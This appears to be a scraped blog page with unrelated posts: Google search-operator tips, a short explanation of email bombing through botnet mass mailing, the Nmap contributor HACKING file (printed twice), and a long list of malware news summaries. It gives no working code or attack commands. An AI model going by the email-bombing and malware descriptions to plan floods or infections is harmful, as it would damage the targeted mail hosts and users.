But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number.
But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple Keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options.
Syntax Search Tricks
Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at
www.google.com/help/operators.html
Here are some advanced operators that can help narrow down your search results.
Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages.
Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as
www.mysite.com/index.html , you can enter intext:html.
Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in
link:http://www.pcmag.com
Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.
Swiss Army Google
Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature
(www.google.com/help/features.html#calculator)
lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything."
Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a proper spelling. This doesn't always succeed; it works best when the word you're searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you're searching for "three blind mice," underneath the search window will appear a statement such as Searched the web for "three blind mice.") You'll discover that you can click on each word in your search phrase and get a definition from a dictionary.
Suppose you want to contact someone and don't have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you'll see it at the top of the search results along with a map link to the address. If you'd rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you'd rather use a search form for business phone listings, try Yellow Search
(www.buzztoolbox.com/google/yellowsearch.shtml).
Extended Googling
Google offers several services that give you a head start in focusing your search. Google Groups
(http://groups.google.com)
indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: Froogle CODE
(http://froogle.google.com),
which indexes products from online stores, and Google Catalogs CODE
(http://catalogs.google.com)
which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google's tools and services at
www.google.com/options/index.html
You're probably used to using Google in your browser. But have you ever thought of using Google outside your browser?
Google Alert
(www.googlealert.com)
monitors your search terms and e-mails you information about new additions to Google's Web index. (Google Alert is not affiliated with Google; it uses Google's Web services API to perform its searches.) If you're more interested in news stories than general Web content, check out the beta version of Google News Alerts
(www.google.com/newsalerts).
This service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)
Google on the telephone? Yup. This service is brought to you by the folks at Google Labs
(http://labs.google.com),
a place for experimental Google ideas and features (which may come and go, so what's there at this writing might not be there when you decide to check it out). With Google Voice Search
(http://labs1.google.com/gvs.html),
you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don't expect 100 percent success.
In 2002, Google released the Google API (application programming interface), a way for programmers to access Google's search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you'll need an API key, which is available free from CODE
www.google.com/apis . See the figures for two more examples, and visit
www.pcmag.com/solutions for more.
Thanks to its many different search properties, Google goes far beyond a regular search engine. Give the tricks in this article a try. You'll be amazed at how many different ways Google can improve your Internet searching.
Online Extra: More Google Tips
Here are a few more clever ways to tweak your Google searches.
Search Within a Timeframe
Daterange: (start date–end date). You can restrict your searches to pages that were indexed within a certain time period. Daterange: searches by when Google indexed a page, not when the page itself was created. This operator can help you ensure that results will have fresh content (by using recent dates), or you can use it to avoid a topic's current-news blizzard and concentrate only on older results. Daterange: is actually more useful if you go elsewhere to take advantage of it, because daterange: requires Julian dates, not standard Gregorian dates. You can find converters on the Web (such as CODE
http://aa.usno.navy.mil/data/docs/JulianDate.html
excl.gif No Active Links, Read the Rules - Edit by Ninja excl.gif ), but an easier way is to do a Google daterange: search by filling in a form at www.researchbuzz.com/toolbox/goofresh.shtml or www.faganfinder.com/engines/google.shtml
. If one special syntax element is good, two must be better, right? Sometimes. Though some operators can't be mixed (you can't use the link: operator with anything else) many can be, quickly narrowing your results to a less overwhelming number.
More Google API Applications
Staggernation.com offers three tools based on the Google API. The Google API Web Search by Host (GAWSH) lists the Web hosts of the results for a given query
(www.staggernation.com/gawsh/).
When you click on the triangle next to each host, you get a list of results for that host. The Google API Relation Browsing Outliner (GARBO) is a little more complicated: You enter a URL and choose whether you want pages that related to the URL or linked to the URL
(www.staggernation.com/garbo/).
Click on the triangle next to an URL to get a list of pages linked or related to that particular URL. CapeMail is an e-mail search application that allows you to send an e-mail to google@capeclear.com with the text of your query in the subject line and get the first ten results for that query back. Maybe it's not something you'd do every day, but if your cell phone does e-mail and doesn't do Web browsing, this is a very handy address to know.
Friday, January 28, 2011
Monday, August 9, 2010
Mass mailing
Mass mailing consists of sending numerous duplicate mails to the same email address. These types of mail bombs are simple to design but their extreme simplicity means they can be easily detected by spam filters. Email-bombing using mass mailing is also commonly performed as a DDoS attack by employing the use of "zombie" botnets; hierarchical networks of computers compromised by malware and under the attacker's control. Similar to their use in spamming, the attacker instructs the botnet to send out millions or even billions of e-mails, but unlike normal botnet spamming, the e-mails are all addressed to only one or a few addresses the attacker wishes to flood. This form of email bombing is similar in purpose to other DDoS flooding attacks. As the targets are frequently the dedicated hosts handling website and e-mail accounts of a business, this type of attack can be just as devastating to both services of the host.
This type of attack is more difficult to defend against than a simple mass-mailing bomb because of the multiple source addresses and the possibility of each zombie computer sending a different message or employing stealth techniques to defeat spam filters.
This type of attack is more difficult to defend against than a simple mass-mailing bomb because of the multiple source addresses and the possibility of each zombie computer sending a different message or employing stealth techniques to defeat spam filters.
Nmap HACKING
Information for potential Nmap hackers!
Source is provided to Nmap because we believe users have a
right to know exactly what a program is going to do before they run
it. This also allows you to audit the software for security holes
(none have been found so far).
Source code also allows you to port Nmap to new platforms, fix bugs,
and add new features. You are highly encouraged to send your changes
to nmap-dev@insecure.org for possible incorporation into the main
distribution. By sending these changes to Fyodor or one of the
Insecure.Org development mailing lists, it is assumed that you are
offering the Nmap Project (Insecure.Com LLC) unlimited, non-exclusive
right to reuse, modify, and relicense the code. This is important
because the inability to relicense code has caused devastating
problems for other Free Software projects (such as KDE and NASM).
Nmap will always be available Open Source. If you wish to specify
special license conditions of your contributions, just say so when you
send them.
Nmap is a community project and has already benefited greatly from
outside contributors (for examples, see the CHANGELOG at
http://nmap.org/changelog.html). Bugfixes, and portability changes
will almost always be accepted. Even if you do not have time to track
down and patch a problem, bug reports are always welcome.
Hackers interested in something more major, such as a new feature, are
encouraged to send a mail describing their plans to
nmap-dev@insecure.org . This is a good way to solicit feedback on
your proposals. List members are often very willing to help. You
might want to subscribe to that mailing list as well -- send a blank
email to nmap-dev-subscribe@insecure.org . While you are at it, you
might also want to subscribe to nmap-hackers via the same mechanism.
Web archives of those lists are at http://lists.insecure.org .
Some ideas of useful contributions/projects
-------------------------------------------
Of course, you are welcome to work on whatever suits your fancy. But
here are some ideas of contributions that might be particularly
useful:
o Nmap GUI improvements -- Zenmap is the Nmap GUI. If you have
enhancement ideas, give it a shot! Alternatively, consider
contributing to the NmapGUI and Umit projects available at
http://sourceforge.net/projects/nmapgui/ and
http://umit.sourceforge.net/ , respectively.
One of the best ways to help is to join the nmap-dev list
( http://cgi.insecure.org/mailman/listinfo/nmap-dev ). Requests for
assistance and new Nmap-related projects are often posted there.
How to make code contributions
------------------------------
The preferred mechanism for submitted changes is unified diffs against
the latest development release version of Nmap. Please send them to
nmap-dev@insecure.org .
To make a unified diff, please follow these instructions:
1. Remove temporary files:
make clean
2. Rename your source tree:
cd ..
mv nmap-5.21 nmap-5.21-snazzy-feature
3. Unpack the original Nmap source alongside it:
tar xzf nmap-5.21.tgz
4. Generate the diffs:
diff -urNb nmap-5.21 nmap-5.21-snazzy-feature > nmap.patch
5. Check the patch and remove any unnecessary patches from the file.
6. If you've added several features, it's best to send them as
several independent patches if you can.
If you have just patched one or two files, then making patches is even
easier. For each file, just do:
cp file.c file.c.orig
[Make changes to file.c ...]
diff -u file.c.orig file.c > file.c.patch
and just send us the patch: file.c.patch.
Style
-----
When contributing new code, we suggest using two-space indents with no
tabs. This is generally the default in emacs, and Vim users can
achieve it by adding rules such as the following to .vimrc:
if getcwd() =~ '/nmap'
set nocindent
set expandtab
set softtabstop=2
set shiftwidth=2
set copyindent
endif
Credits
-------
I got the idea for this HACKING file from GNet
(http://www.gnetlibrary.org/) and followed the
general structure of their HACKING file.
Source is provided to Nmap because we believe users have a
right to know exactly what a program is going to do before they run
it. This also allows you to audit the software for security holes
(none have been found so far).
Source code also allows you to port Nmap to new platforms, fix bugs,
and add new features. You are highly encouraged to send your changes
to nmap-dev@insecure.org for possible incorporation into the main
distribution. By sending these changes to Fyodor or one of the
Insecure.Org development mailing lists, it is assumed that you are
offering the Nmap Project (Insecure.Com LLC) unlimited, non-exclusive
right to reuse, modify, and relicense the code. This is important
because the inability to relicense code has caused devastating
problems for other Free Software projects (such as KDE and NASM).
Nmap will always be available Open Source. If you wish to specify
special license conditions of your contributions, just say so when you
send them.
Nmap is a community project and has already benefited greatly from
outside contributors (for examples, see the CHANGELOG at
http://nmap.org/changelog.html). Bugfixes, and portability changes
will almost always be accepted. Even if you do not have time to track
down and patch a problem, bug reports are always welcome.
Hackers interested in something more major, such as a new feature, are
encouraged to send a mail describing their plans to
nmap-dev@insecure.org . This is a good way to solicit feedback on
your proposals. List members are often very willing to help. You
might want to subscribe to that mailing list as well -- send a blank
email to nmap-dev-subscribe@insecure.org . While you are at it, you
might also want to subscribe to nmap-hackers via the same mechanism.
Web archives of those lists are at http://lists.insecure.org .
Some ideas of useful contributions/projects
-------------------------------------------
Of course, you are welcome to work on whatever suits your fancy. But
here are some ideas of contributions that might be particularly
useful:
o Nmap GUI improvements -- Zenmap is the Nmap GUI. If you have
enhancement ideas, give it a shot! Alternatively, consider
contributing to the NmapGUI and Umit projects available at
http://sourceforge.net/projects/nmapgui/ and
http://umit.sourceforge.net/ , respectively.
One of the best ways to help is to join the nmap-dev list
( http://cgi.insecure.org/mailman/listinfo/nmap-dev ). Requests for
assistance and new Nmap-related projects are often posted there.
How to make code contributions
------------------------------
The preferred mechanism for submitted changes is unified diffs against
the latest development release version of Nmap. Please send them to
nmap-dev@insecure.org .
To make a unified diff, please follow these instructions:
1. Remove temporary files:
make clean
2. Rename your source tree:
cd ..
mv nmap-5.21 nmap-5.21-snazzy-feature
3. Unpack the original Nmap source alongside it:
tar xzf nmap-5.21.tgz
4. Generate the diffs:
diff -urNb nmap-5.21 nmap-5.21-snazzy-feature > nmap.patch
5. Check the patch and remove any unnecessary patches from the file.
6. If you've added several features, it's best to send them as
several independent patches if you can.
If you have just patched one or two files, then making patches is even
easier. For each file, just do:
cp file.c file.c.orig
[Make changes to file.c ...]
diff -u file.c.orig file.c > file.c.patch
and just send us the patch: file.c.patch.
Style
-----
When contributing new code, we suggest using two-space indents with no
tabs. This is generally the default in emacs, and Vim users can
achieve it by adding rules such as the following to .vimrc:
if getcwd() =~ '/nmap'
set nocindent
set expandtab
set softtabstop=2
set shiftwidth=2
set copyindent
endif
Credits
-------
I got the idea for this HACKING file from GNet
(http://www.gnetlibrary.org/) and followed the
general structure of their HACKING file.
Wednesday, July 21, 2010
Malware and Vulnerabilities
Common Botnets
A botnet is a collection of compromised (infected) computers under the collective control of remote attackers. The malware on the infected computer is known as a bot, a type of backdoor or remote access trojan (RAT). Here is a collection of the most common botnets.
Asprox Botnet
The Asprox botnet was originally a botnet used primarily to deliver phishing scams. In 2008, the Asprox botnet began employing the bots to discover and use SQL injection on vulnerable Active Server pages on weakly configured websites.
Gumblar Botnet
Gumblar, known in Japan as Geno, is a unique botnet - it not only creates a botnet of compromised PCs, it also backdoors compromised websites enabling continued remote access and manipulation.
Koobface Botnet
Koobface spreads through social networking sites, most prevalently through Facebook. Generally, Koobface relies on social engineering in order to spread. The Koobface message is designed to trick recipients into clicking through to a fraudulent website and either (a) enter their Facebook (or other social networking) credentials or to accept the installation of malware disguised as a video codec o…
Zeus Botnet
Zeus, often spelled ZeuS, is a crimeware botnet typically engaged in data theft. Zeus is also often referred to as Zbot. Zeus is not a single botnet nor a single trojan, but rather refers to an entire family of trojans and their respective botnets.
Storm Botnet
The Storm bot is a backdoor component that allows remote surreptitious access to infected systems. The Storm-infected computers (collectively, the Storm botnet) are outfitted with a spam relay component (to send spam through infected computers) and a peer networking component (to enable the remote attackers to communicate with the bot infected computers).
Mariposa Botnet
Mariposa is Spanish for butterly. In computer lingo, Mariposa is a botnet created by the Butterfly bot kit. Mariposa is typically spread via instant messaging, peer-to-peer file sharing networks and as an autorun worm.
Waledec
Waledec, also spelled Waledac, is the name of a botnet used to relay malicious spam. The Waledec distributed spam often consists of fraudulent greeting cards and breaking news events.
CDC / H1N1 Vaccination Scam Infects Victims
Attackers are sending email disguised as correspondence from the Centers for Disease Control (CDC). The email claims an H1N1 vaccination registration is required. Those who comply with the request won't be registering with the CDC - instead they will be infecting their computer with a version of the Banker trojan
Remove SecurityTool Scareware
securitytool scareware rogue scanner process explorer safe mode registry editor securitytool rogue scareware regedit blocked task manager security tool
Fear-Based Reporting: Have You Been a Victim?
Fear sells. Whether intentional or otherwise, this can sometimes work to the advantage of the media and the disadvantage of consumers. Have you ever been influenced by fear-based reporting, only to find out later that the reports were wrong?
Conficker: More Conflict than Worm
Barely a week after the 60 Minutes April Fools' Conficker doomsday update failed to materialize, the closely watched Conflicker.C did finally manage an update. And in an ironic twist, the worm itself debunks much of the hype surrounding it.
PowerPoint Zero Day Vulnerability In-the-Wild
Microsoft has released Security Advisory 969136 warning of a newly discovered zero day PowerPoint vulnerability. The flaw impacts PowerPoint versions found in Windows versions of Office 2000, 2002, 2003, and Office 2004 for Mac.
60 Minutes, Conficker, and April's Fool
Is the Conficker worm set to detonate some evil payload on April 1st? According to 60 Minutes, it seems so. Here's the non-FUD behind the Conficker worm.
Downadup.AL aka Conficker.B Worm
Downadup.AL aka Conficker.B is a network worm that spreads via autorun, dictionary attacks on weakly protected network shares, and by exploiting the vulnerabilities described in MS08-067. The worm disables services related to automatic updates, error reporting, the Windows Security Center service, and the Windows Defender service. To prevent access to protection and removal tools, the worm also b…
Autorun Worms: How to Remove Autorun Malware
Autorun worms spread from USB/thumb drives as well as fixed and mapped drives. Autorun worms typically drop or download additional malware, usually backdoors and password stealers. Here's how to remove an autorun worm.
Sality Virus
Sality is a family of file infecting viruses that spread by infecting exe and scr files. The virus also includes an autorun worm component that allows it to spread to any removable or discoverable drive. In addition, Sality includes a downloader trojan component that installs additional malware via the Web.
Winthb 'Virus' Tied to Backdoor Trojans
A family of backdoor and autorun trojans are working together to plague users. One symptom that may appear - the drive volume name and icon may be changed. The more insiduous aspects of the infection are far more silent and may be overlooked when users attempt manual removal.
A Storm of Scary Email
In recent weeks, a rash of spam has been sent that bear much resemblance to the all-too-familiar tactics of the Storm botnet.
Most Damaging Malware
All malware is bad, but some types of malware do more damage than others. That damage can range from loss of files or total loss of security. This list (in no particular order) provides an overview of the most damaging types of malware.
Easily Remove the MonaRonaDona 'Virus'
The MonaRonaDona 'virus' is a self-advertised 'virus' that isn't even a virus at all. It's a non-replicating program (i.e., a Trojan) that loads when Windows is started, changing the Internet Explorer title bar to read MonaRonaDona and displaying a message which blocks access to your legitimate running programs.
What is JS/Psyme (and How to Get Rid of It)
Many users have experienced repeated warnings of infection by Psyme each time they open their browser. Depending on the antivirus in use, the name given in the warning may be any of the following: Downloader.Psyme (Symantec), Troj/Psyme (Sophos), Trojan.VBS.KillAV (Kaspersky), TrojanDownloader.VBS.Psyme (CA),Trojan.Downloader.JS.Psyme (Kaspersky), VBS/Petch.A (F-Prot), VBS/Psyme (McAfee)
What is the Storm Worm?
The so-called Storm worm is actually not a worm, but rather a family of Trojans that typically include a backdoor, SMTP relay, P2P communications, email harvester, downloader, and often a rootkit.
U.Z.A. O/S Eliminator Worm
The so-called "U.Z.A. O/S Eliminator" worm appears to have originated in Maldives sometime in late July or early August 2007. The worm exploits the autorun feature, enabling it to spread from removable USB/thumb drives to other computers.
Freedom / Outlaw Worm
The Freedom 'virus' is a worm that infects local and USB drives, disables access to Task Manager, Registry Editor and other system utilities, and may try to delete MP3 files found on infected systems. Here's how to clean it.
Trojan.MeSpam Makes You the Spammer
Instead of relying on bots to do the dirty work, Trojan.MeSpam makes you the culprit. Once infected, every forum post you make, every webmail you send, and every blog comment you leave will also deposit a link pointing to a nefarious website.
Rinbot Worm Prompts Repeated Denials
Is Rinbot the little worm that isn't? Or is it simply the worm that no one wants to acknowledge exists? Here's a timeline of this "non-threat".
Storm Worm
The Storm worm spreads via email, using a variety of subject lines and message text that may masquerade as news articles or other current events.
Skype Chatosky Worm: Friend or Foe?
Thanks to the Chatosky worm, I uncovered some things about the Skype service that I might not otherwise have known.
Qspace Javascript Worm Targets MySpace Users
MySpace users are yet again a victim of another targeted attack. Dubbed JS_QSPACE.A by antivirus vendor Trend Micro and JS.Qspace by Symantec, the Javascript worm exploits a cross-site scripting (XSS) vulnerability embedded in a malicious Quicktime .MOV file.
Rontokbro aka Brontok Worm
A mass-mailing email worm that also spreads via USB and thumb drives, the Rontokbro worm - also know as Brontok - takes a multifacted approach to defy detection and removal.
Stration Email Worm
Stration is a mass-mailing email worm that attempts to download a file from a remote server. The worm may inject itself into certain running processes, potentially causing it to bypass firewalls or other security software.
Stration Worm
Stration is a mass-mailing email worm that may attempt to download files from a remote server.
VML FUD FAQ
There's a lot of misinformation being disseminated around the recently discovered VML vulnerability. Here's an attempt to address those misconceptions and alleviate some of the fears.
Zero-Day VML Vulnerability Impacts IE, Windows
A zero-day vulnerability in the Windows implementation of Vector Markup Language (VML) impacts all supported versions of Internet Explorer, all supported versions of Microsoft Windows 2003, Windows XP, and Windows 2000, and recent versions of Outlook and Outlook Express.
Are You in a Botnet?
With 12 million infected systems under their control, botnet operators are controlling a population rougly the size of Guatemala. In fact, the number of infected systems would place it at about 70 out of 230 sovereign states and territories worldwide.
Popular Antivirus Apps *Do* Work
The more a story gets told, the more the original story gets changed by each new storyteller. Sometimes, the story gets so far removed from the original, that the entire intent of the story is lost and new intent construed. Such is the case with the story of antivirus effectiveness, which was recently put through the spin cycle, wrung out, and reformed by Charlie White, editor of the Gizmodo gadget blog.
McAfee Downplays Security Flaws
Vulnerability researchers at eEye Digital uncovered serious flaws in McAfee security products that could allow attackers to gain remote control of affected systems.
Yahoo worm: JS/Yamanner
An early-morning report on a security mailing list led to the discovery of Yamanner, a mass-mailing email worm that impacted Yahoo webmail users.
Gamblers Lose Big with Free Tool
Every successful gambler knows how to handle a certain amount of risk, and how to minimize their losses. But a free tool that promised to help gamblers get the most out of the game turned out to be a Trojan that scammed them out of their winnings.
Hoot Worm Preys on Company
It seems a disgruntled employee targeted their enterprise with a worm that causes pictures of a rather odd looking owl to print on nearly 40 printers specific to the targeted firm.
Nugache Worm
Nugache is a worm that may spread via email, IM, or P2P networks.
Ransomware: Trojans demand money from victims
Having your computer infected with a virus or other malicious software is upsetting enough. But over the past year, a new type of attack promises to be even more disconcerting. Dubbed ransomware, this new attack infects the system, encrypts the files, and then demands payment from its victims.
QuickBatch Trojan Targets the Blind
There is no such thing as a good virus, but some viruses are more despicable than others. Case in point, the newly discovered W32/QuickBatch.G!tr Trojan that specifically targets members of the blind community.
Bagle worm variant warns: 'Lawsuit Against You'
Bagle worm variant that spreads via email and fileshares/P2P networks warns of 'Lawsuit Against You'
Nyxem aka Blackmal worm
Discovered on January 17, 2006, the Nyxem worm has a dangerous payload that executes on the 3rd of each month, overwriting files with specific extensions.
2005: Top Ten Malware Events
Here's the best and worst of 2005 from a malware perspective.
2003: Year of the Black Sheep
It seems appropriate that the Chinese dubbed 2003 as the Year of the Black Sheep. Among other things, the sheep is a symbol of untidiness - and from a virus standpoint, the year was indeed a mess.
2002: Virus Writers Contribute to SPAM
The year 2002 ushered in a new era of malicious marketing code
2001: Year of the Virus
Detecting email-borne viruses every 18 seconds, MessageLabs calls 2001 The Year of the Virus
WMF Image Handling Exploit
A serious vulnerability in Windows Fax and Picture Viewer can allow remote attackers to use .WMF image files to gain control of your system.
Sober.X Worm Description
Sober.X is a mass-mailing email worm that sends itself in either English or German depending on the recipient's domain. In addition to mass-mailing, Sober.X terminates processes related to various antivirus and security programs.
Sober.U Worm
Sober.U arrives in an email message that may be in either German or English language, depending on the recipient's domain.
Sober.T Worm
Sober.T arrives in an email message that may be in either German or English language, depending on the recipient's domain.
sober.s Worm
sober.s arrives in an email message that may be in either German or English language, depending on the recipient's domain.
Sober.R Worm
Sober.R arrives in an email message that may be in either German or English language, depending on the recipient's domain.
Sony Stinx Trojan
The Sony Stinx Trojan exploits the Sony DRM cloaking technology (aka rootkit) installed by music CDs published by Sony after March 2005. This allows the malware to be hidden from view - effectively masking its presence even from most antivirus scanners. The Sony Stinx Trojan installs an IRC Backdoor Trojan that allows remote access to compromised PCs, downloads other malware, and disables the Windows XP firewall.
Slapper worm gets facelift: Linux Lupper worm, aka Plupi and Lupii
The Linux Slapper worm has been given a facelift and this time BBS admins and web bloggers are the target. The new worm has been given a half dozen new names, including Linux/Lupper worm Linux.Plupi, Backdoor.Linux.Smal, ELF_LUPPER.A and Exploit.Linux.Lupii.
Sony President Defends Rootkit
the President of Sony BMG's Global Digital Business, Thomas Hesse, defends Sony's installation of a rootkit by declaring, "Most people, I think, don't even know what a Rootkit is, so why should they care about it?"
Sony Rootkit Strikes Sour Note
If you've purchased a Sony-labeled music CD since March 2005 and used it on your PC, chances are it installed a rootkit that can be easily exploited by virus writers.
Alleged Botnet Creators Arrested
Dutch police have announced the arrests of the alleged author of W32.Toxbot and two alleged accomplices.
First Sony PSP Trojan
PSP.Brick impacts the Sony PSP game console, flashing critical system files and rendering the console unbootable. The newly discovered PSP.Brick isn't technically a virus - it's a Trojan. But the news surrounding PSP.Brick could be described as a polymorphic virus - it spreads fast and the story changes with each reporter it infects.
IM Worms Pose Signficant Threat
Since January 1, 2005, at least 358 descriptions have been published for specific IM threats.
Kelvir Instant Messenger (IM) worm
The most prevalent IM worm is Kelvir family of worms that target MSN Messenger users.
Agent.AD Trojan nabs headlines from London attacks
Just hours after BBC published a news report titled "London attackers 'meant to kill'", the Agent.AD Trojan email stole the headline and part of the copy, using it as a ruse to entice victims into opening its infected attachment.
AIM worm impersonates iTunes app
IM worms continue to expand their repertoire of social engineering tricks. W32/Olameg-net, a.k.a. Opanki.Y and AIM/Megalo, installs itself to the Windows System directory as itunes.exe, presumably trying to disguise itself as the popular Apple iTunes application.
Michael Jackson suicide spam a Trojan
Malware authors eager to capitalize on the Michael Jackson trial have been sending booby-trapped spam messages claiming the pop-singer has attempted suicide.
Mytob.BI worm
Discovered May 31, 2005, Mytob.BI is a mass-mailing email worm that compromises system security by terminating processes related to various antivirus software, disabling the XP SP2 firewall, and modifying the HOSTS file to prevent access to antivirus updates and certain other websites.
Mytob.AR
Discovered May 30, 2005, Mytob.AR is a mass-mailing email worm that compromises system security by terminating processes related to various antivirus software, disabling the XP SP2 firewall, and modifying the HOSTS file to prevent access to antivirus updates and certain other websites.
Prevent the Mytob worm
The Mytob variants are mass-mailing email worms that compromise system security by terminating processes related to various antivirus software and modifiying the Registry to disable the XP SP2 firewall.
Sober.P turns to spam
The Sober.P worm has morphed into a spam Trojan, sending politically-charged messages from infected systems.
Sober hangover begins
The Sober.P worm abruptly stopped its mass-mailing at midnight GMT on May 9th, presumably entering its second stage of infection.
Firefox flaws rated extremely critical
Firefox flaws rated extremely critical
Sober.P worm threatens
Discovered May 2, 2005, Sober.P (also known as Sober.O) is a mass-mailing email that sends itself in either German or English language, depending on the intended recipient's domain.
Crog IM worm
The Crog worm edits the system registry to lower security settings, modifies the HOSTS file to redirect access to various security sites and shuts down processes associated with various security software.
Kelvir IM worms
Three new IM worms, Kelvir.A, Kelvir.B, and Kelvir.C were discovered by antivirus vendors on March 6th and 7th, 2005.
Bagle.BE worm
Discovered on March 1, 2005 in conjunction with several mass-spammed Bagle-like Trojans, Bagle.BE arrives in an email with a blank subject line
Troj/BagleDl-L
Troj/BagleDl-L is a Trojan, not a worm, and does not contain mass-mailing capabilities. However, Troj/BagleDl-L was mass-spammed via email during the morning of March 1st, 2005.
Bagle.AZ worm
Like Bagle.AY, Bagle.AZ is a mass mailing email and P2P filesharing worm with downloader capabilites.
Bagle.AY worm
Bagle.AY is a mass mailing email and P2P filesharing worm with backdoor and downloader capabilites. As with previous variants and most modern email worms, the worm uses its own SMTP engine to spread via email and the From address is spoofed.
MyDoom.AM hijacks HOSTS
MyDoom.AM is a mass-mailing email and P2P filesharing worm that modifies the HOSTS file to prevent infected users from accessing certain antivirus vendor sites.
Lovgate.W worm
A mass-mailing email and filesharing worm, Lovgate.W also contains backdoor capabilities
A stocking full of coal: Multiple flaws in Windows could lead to compromise
Ever wonder what Bill Gates gets for Christmas? This year, the Chinese security firm VenusTech delivered three new Windows exploits just in time for the holidays.
Zafi.D worm spreads Christmas fear
A new variant of the Zafi worm, dubbed Zafi.D, sends itself as a Christmas greeting - in a variety of languages depending on the recipient's domain.
MakeLOVEnotSPAM mask worn byTrojan
Dubbed TrojanDropper.FakeSpamFighter and Troj/Mdrop-IT, the Trojan masquerades as the Lycos infamous MakeLOVEnotSPAM screensaver
Sober.I worm
Sober.I is a mass-mailing email worm that sends itself in both German and English, depending on the infected users' operating system language. Sober.I uses is own SMTP engine to send itself to email address found on infected systems, spoofing the From address.
Bofra.A worm exploits SHDOCVW.DLL flaw
Bofra.A worm exploits SHDOCVW.DLL flaw
Klez Help Center
The Klez virus uses a variety of techniques to fool and aggravate users
Homepage Virus
Also known as Homepage, this e-mail worm was discovered in the wild on May 8th, 2001
IRCsome McVeigh Video a RAT
Alleged movie of Timothy McVeigh execution really the Subseven remote access Trojan.
Sobig.E worm
The Sobig.E worm spreads via email. The Sobig.E worm attachment is a ZIP file.
Virus Encyclopedia
From your Antivirus.About.com guide, an encyclopedia of virus and hoax descriptions. Includes PC, Macintosh, Unix, Active Content, and Wireless infectors.
AntiVirus Research Center
Timely and searchable information concerning viruses currently in-the-wild and even those that are not.
AVP's VirusList
So comprehensive, it might be somewhat difficult to navigate. Well worth the effort, AVP delivers the definitive virus encyclopedia.
Hoaxes and Myths
Though not a virus, hoaxes and myths can still cause downtime and loss of productivity due to unwarranted panic. Rob Rosenberger maintains a plethora of information concerning these non-threatening threats.
Computer Virus Info
From F-Secure, an alphabetized database of virus descriptions. Search by exact name or keyword.
Panda Virus Descriptions
From the makers of Panda Antivirus, an encyclopedia searchable by name, category or family. The database is prefaced by an introduction to computer viruses and a handy glossary of terms.
The WildList
Compiled from various reporting agencies and individuals. Listing all viruses actually causing active infections worldwide, the wildlist is updated monthly.
Virus Analyses
One very long list of just some of the viruses detected by Sophos.
Virus Information Library
The McAfee AVERT Virus Information Library includes detailed information on viruses as well as popular hoaxes and myths.
WildList Virus Descriptions
F-Secure simplifies the WildList by linking descriptions to the names of the viruses reported to be in the wild. Updated monthly.
A botnet is a collection of compromised (infected) computers under the collective control of remote attackers. The malware on the infected computer is known as a bot, a type of backdoor or remote access trojan (RAT). Here is a collection of the most common botnets.
Asprox Botnet
The Asprox botnet was originally a botnet used primarily to deliver phishing scams. In 2008, the Asprox botnet began employing the bots to discover and use SQL injection on vulnerable Active Server pages on weakly configured websites.
Gumblar Botnet
Gumblar, known in Japan as Geno, is a unique botnet - it not only creates a botnet of compromised PCs, it also backdoors compromised websites enabling continued remote access and manipulation.
Koobface Botnet
Koobface spreads through social networking sites, most prevalently through Facebook. Generally, Koobface relies on social engineering in order to spread. The Koobface message is designed to trick recipients into clicking through to a fraudulent website and either (a) enter their Facebook (or other social networking) credentials or to accept the installation of malware disguised as a video codec o…
Zeus Botnet
Zeus, often spelled ZeuS, is a crimeware botnet typically engaged in data theft. Zeus is also often referred to as Zbot. Zeus is not a single botnet nor a single trojan, but rather refers to an entire family of trojans and their respective botnets.
Storm Botnet
The Storm bot is a backdoor component that allows remote surreptitious access to infected systems. The Storm-infected computers (collectively, the Storm botnet) are outfitted with a spam relay component (to send spam through infected computers) and a peer networking component (to enable the remote attackers to communicate with the bot infected computers).
Mariposa Botnet
Mariposa is Spanish for butterly. In computer lingo, Mariposa is a botnet created by the Butterfly bot kit. Mariposa is typically spread via instant messaging, peer-to-peer file sharing networks and as an autorun worm.
Waledec
Waledec, also spelled Waledac, is the name of a botnet used to relay malicious spam. The Waledec distributed spam often consists of fraudulent greeting cards and breaking news events.
CDC / H1N1 Vaccination Scam Infects Victims
Attackers are sending email disguised as correspondence from the Centers for Disease Control (CDC). The email claims an H1N1 vaccination registration is required. Those who comply with the request won't be registering with the CDC - instead they will be infecting their computer with a version of the Banker trojan
Remove SecurityTool Scareware
securitytool scareware rogue scanner process explorer safe mode registry editor securitytool rogue scareware regedit blocked task manager security tool
Fear-Based Reporting: Have You Been a Victim?
Fear sells. Whether intentional or otherwise, this can sometimes work to the advantage of the media and the disadvantage of consumers. Have you ever been influenced by fear-based reporting, only to find out later that the reports were wrong?
Conficker: More Conflict than Worm
